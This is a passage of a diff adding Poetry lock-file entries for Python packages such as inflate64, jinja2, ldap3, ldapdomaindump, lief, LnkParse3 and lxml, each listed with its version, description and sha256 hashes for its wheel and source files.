"inflate64-0.3.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17aaac096f40bd80dd72481831607a0846271d401ba3cd863386b8c244c7ebc1"}, + {file = "inflate64-0.3.1-pp37-pypy37_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4d807cfa9ddad940401ef04502eb367a77f569850f59c2e71670347d558a3830"}, + {file = "inflate64-0.3.1-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:b7aa123c740f2f9798f72873e50d7c6d43664d12cad7a1405296079987bdb04a"}, + {file = "inflate64-0.3.1-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:91233b5300bbb7562804c3d07617e9ce2983e8434218991db98ef175491e417f"}, + {file = "inflate64-0.3.1-pp38-pypy38_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:525bc309d8533ef9917e006284996ee7a9a71ac6dd19fb57c0f741ad0c805d4f"}, + {file = "inflate64-0.3.1-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:90f95b92d0f672d11151cb964964d1723e2e3ce3a19d32d24aece1acdec1e287"}, + {file = "inflate64-0.3.1-pp38-pypy38_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:41504988023042452d2d84e4110c9ef4ff8ebd33cb90ba83e44b92c9a6753c43"}, + {file = "inflate64-0.3.1-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3c270d373ca3717dbeb9b171eea53cbf2c9d7471b9b5de1e57f165e60cf58037"}, + {file = "inflate64-0.3.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:ac60868745f7bfbcd615329fbdc35997fa36043ce358a1c64d229ef448ebecf0"}, + {file = "inflate64-0.3.1-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d881b605b7448be451f02c59128dc5fac262dbd0dcff4638e702dc8c7bbb8ef0"}, + {file = "inflate64-0.3.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd04764d0bb830414788cae897d082bf6ad92324e571a5511bd7e1de4a0cdc67"}, + {file = "inflate64-0.3.1-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e1987bbc482aa3e2e7fb72c70b22483cfaed3dbebc5ba6f9ac6f75240794709b"}, + {file = "inflate64-0.3.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:4e7b0a598adaa11366ffbbb7b3d3110db29edd4b732d9336570891363b22b002"}, + {file = "inflate64-0.3.1.tar.gz", hash = "sha256:b52dd8fefd2ba179e5dfa18d6eca7e2fc822584616271c039d5ef1f9ca90c71c"}, +] + +[package.extras] +check = ["check-manifest", "flake8", "flake8-black", "flake8-deprecated", "isort (>=5.0.3)", "mypy (>=0.940)", "mypy-extensions (>=0.4.1)", "pygments", "readme-renderer", "twine"] +docs = ["docutils", "sphinx (>=5.0)"] +test = ["pyannotate", "pytest"] + +[[package]] +name = "iniconfig" +version = "2.0.0" +description = "brain-dead simple config-ini parsing" +optional = false +python-versions = ">=3.7" +files = [ + {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, + {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, +] + +[[package]] +name = "itsdangerous" +version = "2.1.2" +description = "Safely pass data to untrusted environments and back." +optional = false +python-versions = ">=3.7" +files = [ + {file = "itsdangerous-2.1.2-py3-none-any.whl", hash = "sha256:2c2349112351b88699d8d4b6b075022c0808887cb7ad10069318a8b0bc88db44"}, + {file = "itsdangerous-2.1.2.tar.gz", hash = "sha256:5dbbc68b317e5e42f327f9021763545dc3fc3bfe22e6deb96aaf1fc38874156a"}, +] + +[[package]] +name = "jinja2" +version = "3.1.2" +description = "A very fast and expressive template engine." +optional = false +python-versions = ">=3.7" +files = [ + {file = "Jinja2-3.1.2-py3-none-any.whl", hash = "sha256:6088930bfe239f0e6710546ab9c19c9ef35e29792895fed6e6e31a023a182a61"}, + {file = "Jinja2-3.1.2.tar.gz", hash = "sha256:31351a702a408a9e7595a8fc6150fc3f43bb6bf7e319770cbc0db9df9437e852"}, +] + +[package.dependencies] +MarkupSafe = ">=2.0" + +[package.extras] +i18n = ["Babel (>=2.7)"] + +[[package]] +name = "jmespath" +version = "1.0.1" +description = "JSON Matching Expressions" +optional = false +python-versions = ">=3.7" +files = [ + {file = "jmespath-1.0.1-py3-none-any.whl", hash = "sha256:02e2e4cc71b5bcab88332eebf907519190dd9e6e82107fa7f83b1003a6252980"}, + {file = "jmespath-1.0.1.tar.gz", hash = "sha256:90261b206d6defd58fdd5e85f478bf633a2901798906be2ad389150c5c60edbe"}, +] + +[[package]] +name = "joblib" +version = "1.3.1" +description = "Lightweight pipelining with Python functions" +optional = false +python-versions = ">=3.7" +files = [ + {file = "joblib-1.3.1-py3-none-any.whl", hash = "sha256:89cf0529520e01b3de7ac7b74a8102c90d16d54c64b5dd98cafcd14307fdf915"}, + {file = "joblib-1.3.1.tar.gz", hash = "sha256:1f937906df65329ba98013dc9692fe22a4c5e4a648112de500508b18a21b41e3"}, +] + +[[package]] +name = "jsonlines" +version = "3.1.0" +description = "Library with helpers for the jsonlines file format" +optional = false +python-versions = ">=3.6" +files = [ + {file = "jsonlines-3.1.0-py3-none-any.whl", hash = "sha256:632f5e38f93dfcb1ac8c4e09780b92af3a55f38f26e7c47ae85109d420b6ad39"}, + {file = "jsonlines-3.1.0.tar.gz", hash = "sha256:2579cb488d96f815b0eb81629e3e6b0332da0962a18fa3532958f7ba14a5c37f"}, +] + +[package.dependencies] +attrs = ">=19.2.0" + +[[package]] +name = "ldap3" +version = "2.9.1" +description = "A strictly RFC 4510 conforming LDAP V3 pure Python client library" +optional = false +python-versions = "*" +files = [ + {file = "ldap3-2.9.1-py2.py3-none-any.whl", hash = "sha256:5869596fc4948797020d3f03b7939da938778a0f9e2009f7a072ccf92b8e8d70"}, + {file = "ldap3-2.9.1.tar.gz", hash = "sha256:f3e7fc4718e3f09dda568b57100095e0ce58633bcabbed8667ce3f8fbaa4229f"}, +] + +[package.dependencies] +pyasn1 = ">=0.4.6" + +[[package]] +name = "ldapdomaindump" +version = "0.9.4" +description = "Active Directory information dumper via LDAP" +optional = false +python-versions = "*" +files = [ + {file = "ldapdomaindump-0.9.4-py2-none-any.whl", hash = "sha256:c05ee1d892e6a0eb2d7bf167242d4bf747ff7758f625588a11795510d06de01f"}, + {file = "ldapdomaindump-0.9.4-py3-none-any.whl", hash = "sha256:51d0c241af1d6fa3eefd79b95d182a798d39c56c4e2efb7ffae244a0b54f58aa"}, + {file = "ldapdomaindump-0.9.4.tar.gz", hash = "sha256:99dcda17050a96549966e53bc89e71da670094d53d9542b3b0d0197d035e6f52"}, +] + +[package.dependencies] +dnspython = "*" +future = "*" +ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" + +[[package]] +name = "lief" +version = "0.12.3" +description = "Library to instrument executable formats" +optional = false +python-versions = ">=3.6" +files = [ + {file = "lief-0.12.3-cp310-cp310-macosx_10_14_arm64.whl", hash = "sha256:66724f337e6a36cea1a9380f13b59923f276c49ca837becae2e7be93a2e245d9"}, + {file = "lief-0.12.3-cp310-cp310-macosx_10_14_x86_64.whl", hash = "sha256:6d18aafa2028587c98f6d4387bec94346e92f2b5a8a5002f70b1cf35b1c045cc"}, + {file = "lief-0.12.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d4f69d125caaa8d5ddb574f29cc83101e165ebea1a9f18ad042eb3544081a797"}, + {file = "lief-0.12.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c078d6230279ffd3bca717c79664fb8368666f610b577deb24b374607936e9c1"}, + {file = "lief-0.12.3-cp310-cp310-win32.whl", hash = "sha256:e3a6af926532d0aac9e7501946134513d63217bacba666e6f7f5a0b7e15ba236"}, + {file = "lief-0.12.3-cp310-cp310-win_amd64.whl", hash = "sha256:0750b72e3aa161e1fb0e2e7f571121ae05d2428aafd742ff05a7656ad2288447"}, + {file = "lief-0.12.3-cp311-cp311-macosx_10_14_arm64.whl", hash = "sha256:b5c123cb99a7879d754c059e299198b34e7e30e3b64cf22e8962013db0099f47"}, + {file = "lief-0.12.3-cp311-cp311-macosx_10_14_x86_64.whl", hash = "sha256:8bc58fa26a830df6178e36f112cb2bbdd65deff593f066d2d51434ff78386ba5"}, + {file = "lief-0.12.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:74ac6143ac6ccd813c9b068d9c5f1f9d55c8813c8b407387eb57de01c3db2d74"}, + {file = "lief-0.12.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:04eb6b70d646fb5bd6183575928ee23715550f161f2832cbcd8c6ff2071fb408"}, + {file = "lief-0.12.3-cp311-cp311-win32.whl", hash = "sha256:7e2d0a53c403769b04adcf8df92e83c5e25f9103a052aa7f17b0a9cf057735fb"}, + {file = "lief-0.12.3-cp311-cp311-win_amd64.whl", hash = "sha256:7f6395c12ee1bc4a5162f567cba96d0c72dfb660e7902e84d4f3029daf14fe33"}, + {file = "lief-0.12.3-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:71327fdc764fd2b1f3cd371d8ac5e0b801bde32b71cfcf7dccee506d46768539"}, + {file = "lief-0.12.3-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d320fb80ed5b42b354b8e4f251ab05a51929c162c57c377b5e95ad4b1c1b415d"}, + {file = "lief-0.12.3-cp36-cp36m-win32.whl", hash = "sha256:176fa6c342dd480195cda34a20f62ac76dfae103b22ca7583b762e0b434ee1f3"}, + {file = "lief-0.12.3-cp36-cp36m-win_amd64.whl", hash = "sha256:3a18fe108fb82a2640864deef933731afe77413b1226551796ef2c373a1b3a2a"}, + {file = "lief-0.12.3-cp37-cp37m-macosx_10_14_x86_64.whl", hash = "sha256:c73e990cd2737d1060b8c1e8edcc128832806995b69d1d6bf191409e2cea7bde"}, + {file = "lief-0.12.3-cp37-cp37m-manylinux2014_aarch64.whl", hash = "sha256:5fa2b1c8ffe47ee66b2507c2bb4e3fd628965532b7888c0627d10e690b5ef20c"}, + {file = "lief-0.12.3-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f224e9a261e88099f86160f121d088d30894c2946e3e551cf11c678daadcf2b"}, + {file = "lief-0.12.3-cp37-cp37m-win32.whl", hash = "sha256:3481d7c9fb3d3a1acff53851f40efd1a5a05d354312d367294bc2e310b736826"}, + {file = "lief-0.12.3-cp37-cp37m-win_amd64.whl", hash = "sha256:4e5173e1be5ebf43594f4eb187cbcb04758761942bc0a1e685ea1cb9047dc0d9"}, + {file = "lief-0.12.3-cp38-cp38-macosx_10_14_x86_64.whl", hash = "sha256:54d6a45e01260b9c8bf1c99f58257cff5338aee5c02eacfeee789f9d15cf38c6"}, + {file = "lief-0.12.3-cp38-cp38-manylinux2014_aarch64.whl", hash = "sha256:4501dc399fb15dc7a3c8df4a76264a86be6d581d99098dafc3a67626149d8ff1"}, + {file = "lief-0.12.3-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c848aadac0816268aeb9dde7cefdb54bf24f78e664a19e97e74c92d3be1bb147"}, + {file = "lief-0.12.3-cp38-cp38-win32.whl", hash = "sha256:d7e35f9ee9dd6e79add3b343f83659b71c05189e5cb224e02a1902ddc7654e96"}, + {file = "lief-0.12.3-cp38-cp38-win_amd64.whl", hash = "sha256:b00667257b43e93d94166c959055b6147d46d302598f3ee55c194b40414c89cc"}, + {file = "lief-0.12.3-cp39-cp39-macosx_10_14_arm64.whl", hash = "sha256:e6a1b5b389090d524621c2455795e1262f62dc9381bedd96f0cd72b878c4066d"}, + {file = "lief-0.12.3-cp39-cp39-macosx_10_14_x86_64.whl", hash = "sha256:ae773196df814202c0c51056163a1478941b299512b09660a3c37be3c7fac81e"}, + {file = "lief-0.12.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:66ddf88917ec7b00752687c476bb2771dc8ec19bd7e4c0dcff1f8ef774cad4e9"}, + {file = "lief-0.12.3-cp39-cp39-manylinux2014_aarch64.whl", hash = "sha256:4a47f410032c63ac3be051d963d0337d6b47f0e94bfe8e946ab4b6c428f4d0f8"}, + {file = "lief-0.12.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dbd11367c2259bd1131a6c8755dcde33314324de5ea029227bfbc7d3755871e6"}, + {file = "lief-0.12.3-cp39-cp39-win32.whl", hash = "sha256:2ce53e311918c3e5b54c815ef420a747208d2a88200c41cd476f3dd1eb876bcf"}, + {file = "lief-0.12.3-cp39-cp39-win_amd64.whl", hash = "sha256:446e53ccf0ebd1616c5d573470662ff71ca6df3cd62ec1764e303764f3f03cca"}, + {file = "lief-0.12.3.zip", hash = "sha256:62e81d2f1a827d43152aed12446a604627e8833493a51dca027026eed0ce7128"}, +] + +[[package]] +name = "lnkparse3" +version = "1.2.0" +description = "Windows Shortcut file (LNK) parser" +optional = false +python-versions = "*" +files = [ + {file = "LnkParse3-1.2.0-py3-none-any.whl", hash = "sha256:b97f9a3dfffa62ecbd5f1f6561d8b5b75b0045241482b4a980657d5aac696ee3"}, + {file = "LnkParse3-1.2.0.tar.gz", hash = "sha256:102b2aba6c2896127cb719f814a8579210368f9277fd5ec0d0151fe070166e1d"}, +] + +[[package]] +name = "lxml" +version = "4.9.3" +description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." +optional = false +python-versions = ">=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, != 3.4.*" +files = [ + {file = "lxml-4.9.3-cp27-cp27m-macosx_11_0_x86_64.whl", hash = "sha256:b0a545b46b526d418eb91754565ba5b63b1c0b12f9bd2f808c852d9b4b2f9b5c"}, + {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:075b731ddd9e7f68ad24c635374211376aa05a281673ede86cbe1d1b3455279d"}, + {file = "lxml-4.9.3-cp27-cp27m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:1e224d5755dba2f4a9498e150c43792392ac9b5380aa1b845f98a1618c94eeef"}, + {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c0781a98ff5e6586926293e59480b64ddd46282953203c76ae15dbbbf302e8bb"}, + {file = "lxml-4.9.3-cp27-cp27mu-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:cef2502e7e8a96fe5ad686d60b49e1ab03e438bd9123987994528febd569868e"}, + {file = "lxml-4.9.3-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:b86164d2cff4d3aaa1f04a14685cbc072efd0b4f99ca5708b2ad1b9b5988a991"}, + {file = "lxml-4.9.3-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:42871176e7896d5d45138f6d28751053c711ed4d48d8e30b498da155af39aebd"}, + {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:411007c0d88188d9f621b11d252cce90c4a2d1a49db6c068e3c16422f306eab8"}, + {file = "lxml-4.9.3-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:cd47b4a0d41d2afa3e58e5bf1f62069255aa2fd6ff5ee41604418ca925911d76"}, + {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:0e2cb47860da1f7e9a5256254b74ae331687b9672dfa780eed355c4c9c3dbd23"}, + {file = "lxml-4.9.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:1247694b26342a7bf47c02e513d32225ededd18045264d40758abeb3c838a51f"}, + {file = "lxml-4.9.3-cp310-cp310-win32.whl", hash = "sha256:cdb650fc86227eba20de1a29d4b2c1bfe139dc75a0669270033cb2ea3d391b85"}, + {file = "lxml-4.9.3-cp310-cp310-win_amd64.whl", hash = "sha256:97047f0d25cd4bcae81f9ec9dc290ca3e15927c192df17331b53bebe0e3ff96d"}, + {file = "lxml-4.9.3-cp311-cp311-macosx_11_0_universal2.whl", hash = "sha256:1f447ea5429b54f9582d4b955f5f1985f278ce5cf169f72eea8afd9502973dd5"}, + {file = "lxml-4.9.3-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:57d6ba0ca2b0c462f339640d22882acc711de224d769edf29962b09f77129cbf"}, + {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:71c52db65e4b56b8ddc5bb89fb2e66c558ed9d1a74a45ceb7dcb20c191c3df2f"}, + {file = "lxml-4.9.3-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:d73d8ecf8ecf10a3bd007f2192725a34bd62898e8da27eb9d32a58084f93962b"}, + {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:0a3d3487f07c1d7f150894c238299934a2a074ef590b583103a45002035be120"}, + {file = "lxml-4.9.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:9e28c51fa0ce5674be9f560c6761c1b441631901993f76700b1b30ca6c8378d6"}, + {file = "lxml-4.9.3-cp311-cp311-win32.whl", hash = "sha256:0bfd0767c5c1de2551a120673b72e5d4b628737cb05414f03c3277bf9bed3305"}, + {file = "lxml-4.9.3-cp311-cp311-win_amd64.whl", hash = "sha256:25f32acefac14ef7bd53e4218fe93b804ef6f6b92ffdb4322bb6d49d94cad2bc"}, + {file = "lxml-4.9.3-cp312-cp312-macosx_11_0_universal2.whl", hash = "sha256:d3ff32724f98fbbbfa9f49d82852b159e9784d6094983d9a8b7f2ddaebb063d4"}, + {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:48d6ed886b343d11493129e019da91d4039826794a3e3027321c56d9e71505be"}, + {file = "lxml-4.9.3-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9a92d3faef50658dd2c5470af249985782bf754c4e18e15afb67d3ab06233f13"}, + {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b4e4bc18382088514ebde9328da057775055940a1f2e18f6ad2d78aa0f3ec5b9"}, + {file = "lxml-4.9.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:fc9b106a1bf918db68619fdcd6d5ad4f972fdd19c01d19bdb6bf63f3589a9ec5"}, + {file = "lxml-4.9.3-cp312-cp312-win_amd64.whl", hash = "sha256:d37017287a7adb6ab77e1c5bee9bcf9660f90ff445042b790402a654d2ad81d8"}, + {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:56dc1f1ebccc656d1b3ed288f11e27172a01503fc016bcabdcbc0978b19352b7"}, + {file = "lxml-4.9.3-cp35-cp35m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:578695735c5a3f51569810dfebd05dd6f888147a34f0f98d4bb27e92b76e05c2"}, + {file = "lxml-4.9.3-cp35-cp35m-win32.whl", hash = "sha256:704f61ba8c1283c71b16135caf697557f5ecf3e74d9e453233e4771d68a1f42d"}, + {file = "lxml-4.9.3-cp35-cp35m-win_amd64.whl", hash = "sha256:c41bfca0bd3532d53d16fd34d20806d5c2b1ace22a2f2e4c0008570bf2c58833"}, + {file = "lxml-4.9.3-cp36-cp36m-macosx_11_0_x86_64.whl", hash = "sha256:64f479d719dc9f4c813ad9bb6b28f8390360660b73b2e4beb4cb0ae7104f1c12"}, + {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:dd708cf4ee4408cf46a48b108fb9427bfa00b9b85812a9262b5c668af2533ea5"}, + {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c31c7462abdf8f2ac0577d9f05279727e698f97ecbb02f17939ea99ae8daa98"}, + {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:4930be26af26ac545c3dffb662521d4e6268352866956672231887d18f0eaab2"}, + {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:4aec80cde9197340bc353d2768e2a75f5f60bacda2bab72ab1dc499589b3878c"}, + {file = "lxml-4.9.3-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:14e019fd83b831b2e61baed40cab76222139926b1fb5ed0e79225bc0cae14584"}, + {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:0c0850c8b02c298d3c7006b23e98249515ac57430e16a166873fc47a5d549287"}, + {file = "lxml-4.9.3-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:aca086dc5f9ef98c512bac8efea4483eb84abbf926eaeedf7b91479feb092458"}, + {file = "lxml-4.9.3-cp36-cp36m-win32.whl", hash = "sha256:50baa9c1c47efcaef189f31e3d00d697c6d4afda5c3cde0302d063492ff9b477"}, + {file = "lxml-4.9.3-cp36-cp36m-win_amd64.whl", hash = "sha256:bef4e656f7d98aaa3486d2627e7d2df1157d7e88e7efd43a65aa5dd4714916cf"}, + {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:46f409a2d60f634fe550f7133ed30ad5321ae2e6630f13657fb9479506b00601"}, + {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:4c28a9144688aef80d6ea666c809b4b0e50010a2aca784c97f5e6bf143d9f129"}, + {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:53ace1c1fd5a74ef662f844a0413446c0629d151055340e9893da958a374f70d"}, + {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:17a753023436a18e27dd7769e798ce302963c236bc4114ceee5b25c18c52c693"}, + {file = "lxml-4.9.3-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:7d298a1bd60c067ea75d9f684f5f3992c9d6766fadbc0bcedd39750bf344c2f4"}, + {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:081d32421db5df44c41b7f08a334a090a545c54ba977e47fd7cc2deece78809a"}, + {file = "lxml-4.9.3-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:23eed6d7b1a3336ad92d8e39d4bfe09073c31bfe502f20ca5116b2a334f8ec02"}, + {file = "lxml-4.9.3-cp37-cp37m-win32.whl", hash = "sha256:1509dd12b773c02acd154582088820893109f6ca27ef7291b003d0e81666109f"}, + {file = "lxml-4.9.3-cp37-cp37m-win_amd64.whl", hash = "sha256:120fa9349a24c7043854c53cae8cec227e1f79195a7493e09e0c12e29f918e52"}, + {file = "lxml-4.9.3-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4d2d1edbca80b510443f51afd8496be95529db04a509bc8faee49c7b0fb6d2cc"}, + {file = "lxml-4.9.3-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.manylinux_2_24_aarch64.whl", hash = "sha256:8d7e43bd40f65f7d97ad8ef5c9b1778943d02f04febef12def25f7583d19baac"}, + {file = "lxml-4.9.3-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:6fc3c450eaa0b56f815c7b62f2b7fba7266c4779adcf1cece9e6deb1de7305ce"}, + {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:65299ea57d82fb91c7f019300d24050c4ddeb7c5a190e076b5f48a2b43d19c42"}, + {file = "lxml-4.9.3-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:eadfbbbfb41b44034a4c757fd5d70baccd43296fb894dba0295606a7cf3124aa"}, + {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:3e9bdd30efde2b9ccfa9cb5768ba04fe71b018a25ea093379c857c9dad262c40"}, + {file = "lxml-4.9.3-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:fcdd00edfd0a3001e0181eab3e63bd5c74ad3e67152c84f93f13769a40e073a7"}, + {file = "lxml-4.9.3-cp38-cp38-win32.whl", hash = "sha256:57aba1bbdf450b726d58b2aea5fe47c7875f5afb2c4a23784ed78f19a0462574"}, + {file = "lxml-4.9.3-cp38-cp38-win_amd64.whl", hash = "sha256:92af161ecbdb2883c4593d5ed4815ea71b31fafd7fd05789b23100d081ecac96"}, + {file = "lxml-4.9.3-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:9bb6ad405121241e99a86efff22d3ef469024ce22875a7ae045896ad23ba2340"}, + {file = "lxml-4.9.3-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8ed74706b26ad100433da4b9d807eae371efaa266ffc3e9191ea436087a9d6a7"}, + {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:303bf1edce6ced16bf67a18a1cf8339d0db79577eec5d9a6d4a80f0fb10aa2da"}, + {file = "lxml-4.9.3-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:5515edd2a6d1a5a70bfcdee23b42ec33425e405c5b351478ab7dc9347228f96e"}, + {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:690dafd0b187ed38583a648076865d8c229661ed20e48f2335d68e2cf7dc829d"}, + {file = "lxml-4.9.3-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:b6420a005548ad52154c8ceab4a1290ff78d757f9e5cbc68f8c77089acd3c432"}, + {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:bb3bb49c7a6ad9d981d734ef7c7193bc349ac338776a0360cc671eaee89bcf69"}, + {file = "lxml-4.9.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:d27be7405547d1f958b60837dc4c1007da90b8b23f54ba1f8b728c78fdb19d50"}, + {file = "lxml-4.9.3-cp39-cp39-win32.whl", hash = "sha256:8df133a2ea5e74eef5e8fc6f19b9e085f758768a16e9877a60aec455ed2609b2"}, + {file = "lxml-4.9.3-cp39-cp39-win_amd64.whl", hash = "sha256:4dd9a263e845a72eacb60d12401e37c616438ea2e5442885f65082c276dfb2b2"}, + {file = "lxml-4.9.3-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:6689a3d7fd13dc687e9102a27e98ef33730ac4fe37795d5036d18b4d527abd35"}, + {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:f6bdac493b949141b733c5345b6ba8f87a226029cbabc7e9e121a413e49441e0"}, + {file = "lxml-4.9.3-pp37-pypy37_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c2006f5c8d28dee289f7020f721354362fa304acbaaf9745751ac4006650254b"}, + {file = "lxml-4.9.3-pp38-pypy38_pp73-macosx_11_0_x86_64.whl", hash = "sha256:5c245b783db29c4e4fbbbfc9c5a78be496c9fea25517f90606aa1f6b2b3d5f7b"}, + {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:4fb960a632a49f2f089d522f70496640fdf1218f1243889da3822e0a9f5f3ba7"}, + {file = "lxml-4.9.3-pp38-pypy38_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:9719fe17307a9e814580af1f5c6e05ca593b12fb7e44fe62450a5384dbf61b4b"}, + {file = "lxml-4.9.3-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:3331bece23c9ee066e0fb3f96c61322b9e0f54d775fccefff4c38ca488de283a"}, + {file = "lxml-4.9.3-pp39-pypy39_pp73-macosx_11_0_x86_64.whl", hash = "sha256:ed667f49b11360951e201453fc3967344d0d0263aa415e1619e85ae7fd17b4e0"}, + {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_24_i686.whl", hash = "sha256:8b77946fd508cbf0fccd8e400a7f71d4ac0e1595812e66025bac475a8e811694"}, + {file = "lxml-4.9.3-pp39-pypy39_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:fe4bda6bd4340caa6e5cf95e73f8fea5c4bfc55763dd42f1b50a94c1b4a2fbd4"}, + {file = "lxml-4.9.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:f3df3db1d336b9356dd3112eae5f5c2b8b377f3bc826848567f10bfddfee77e9"}, + {file = "lxml-4.9.3.tar.gz", hash = "sha256:48628bd53a426c9eb9bc066a923acaa0878d1e86129fd5359aee99285f4eed9c"}, +] + +[package.extras] +cssselect = ["cssselect (>=0.7)"] +html5 = ["html5lib"] +htmlsoup = ["BeautifulSoup4"] +source = ["Cython (>=0.29.35)"] + +[[package]] +name = 